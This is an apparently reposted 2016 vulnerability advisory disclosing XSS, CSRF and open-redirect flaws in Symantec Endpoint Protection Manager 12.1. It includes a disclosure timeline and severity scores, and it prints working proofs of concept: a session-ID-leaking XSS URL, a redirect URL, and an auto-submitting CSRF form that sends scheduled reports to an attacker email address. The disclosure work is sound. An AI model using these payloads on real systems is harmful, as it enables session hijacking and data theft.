Symantec Endpoint Protection 12.1 CSRF / XSS / Open Redirect
Posted on 30 June 2016
[+] Credits: John Page aka HYP3RLINX [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/SYMANTEC-SEPM-MULTIPLE-VULNS.txt [+] ISR: ApparitionSec Vendor: ================ www.symantec.com Product: =========== SEPM Symantec Endpoint Protection Manager and client v12.1 SEPM provides a centrally managed solution. It handles security policy enforcement, host integrity checking (Symantec Network Access Control only), and automated remediation over all clients. The policies functionality is the heart of the Symantec software. Clients connect to the server to get the latest policies, security settings, and software updates. Vulnerability Type(s): ====================== Multiple Cross Site Scripting (XSS) Cross Site Request Forgeries (CSRF) Open Redirect CVE Reference(s): ================= CVE-2016-3652 / XSS CVE-2016-3653 / CSRF CVE-2016-5304 / Open Redirect Vulnerability Details: ===================== The management console for SEPM contains a number of security vulnerabilities that could be used by a lower-privileged user or by an unauthorized user to elevate privilege or gain access to unauthorized information on the management server. Exploitation attempts of these vulnerabilities requires access to the SEP Management console. References: ============ https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20160628_01 Exploit code(s): =============== In this case XSS can bypass the "http-only" cookie protection because the SEPM application writes and stores the session ID within various javascript functions used by the application within the DOM thereby exposing them directly to the XSS attack. 1) createModalDialogFromURL 2) createWindowFromURL 3) createWindowFromForm 4) createIEWindowFromForm So all we need to do is alert(createModalDialogFromURL) anyone one of them (functions) an it will leak the session ID essentially throwing the HttpOnly secure cookie protection flag into the garbage. e.g. XSS POC Defeat http-only flag and access PHPSESSID: https://localhost:8445/Reporting/Admin/notificationpopup.php?New=1&Type=CR&height=alert%28createModalDialogFromURL%29# Open Redirect in external URL .php script: ========================================= A reporting URL used to route generated reports externally to any authorized URL is susceptible to an open redirect vulnerability that could have allowed an authorized but less-privileged user to redirect an unsuspecting privileged user to an external URL to attempt further exploitation, e.g. phishing. If a victim clicks on a link supplied by an attacker e.g. https://localhost:8445/Reporting/common/externalurl.php?url=http://hyp3rlinx.altervista.org Cross Site Request Forgery (CSRF): ================================== Multiple Cross Site Request Forgery exists in couple of places within this version of SEPM below is an example of sending scheduled report to an remote attackers email, if current logged in user visits malicious webpage or clicks infected link etc... Symantec Reporting Admin CSRF POC: <form id="PWN" action="https://localhost:8445/Reporting/Reports/sr-save.php" method="POST" /> <input type="hidden" name="ReportName" value="HELL" /> <input type="hidden" name="Description" value="PWNED!" /> <input type="hidden" name="DisableReportSchedule" value="on" /> <input type="hidden" name="NewReport" value="Y" /> <input type="hidden" name="reporttype" value="1" /> <input type="hidden" name="FILTERNAME" value="Default" /> <input type="hidden" name="runEvery" value="1" /> <input type="hidden" name="repeat" value="weekly" /> <input type="hidden" name="datesched1" value="02%2F10%2F2016" /> <input type="hidden" name="datesched2" value="02%2F10%2F2016" /> <input type="hidden" name="filHourSchedule" value="16" /> <input type="hidden" name="Schedulehour" value="16" /> <input type="hidden" name="filMinSchedule" value="56" /> <input type="hidden" name="Scheduleminute" value="56" /> <input type="hidden" name="sysadmin" value="off" /> <input type="hidden" name="sendto" value="evil@abyss.com" /> <input type="hidden" name="updatelastrun" value="0" /> <input type="hidden" name="HISTORYCONFIG_IDX" value="" /> <input type="hidden" name="ReportPrefix" value="Y" /> <input type="hidden" name="report_idx" value="Y-0" /> <script>document.getElementById('PWN').submit()</script> </form> Disclosure Timeline: ============================================ Vendor Notification: Febuary 11, 2016 Vendor Acknowledges Report: Febuary 12, 2016 Vendor Releases Fix: June 28, 2016 June 29, 2016 : Public Disclosure Exploitation Technique: ======================= Remote Severity Level(s): ==================== Cross Site Scripting Medium v2 6.8 AV:A/AC:M/Au:S/C:C/I:C/A:N v3 6.7 AV:A/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N Cross Site Request Forgery High v2 7.0 AV:A/AC:M/Au:M/C:C/I:C/A:C v3 7.1 AV:A/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H Open Redirect Medium v2 4.1 AV:A/AC:L/Au:S/C:P/I:P/A:N v3 4.1 AV:A/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. hyp3rlinx
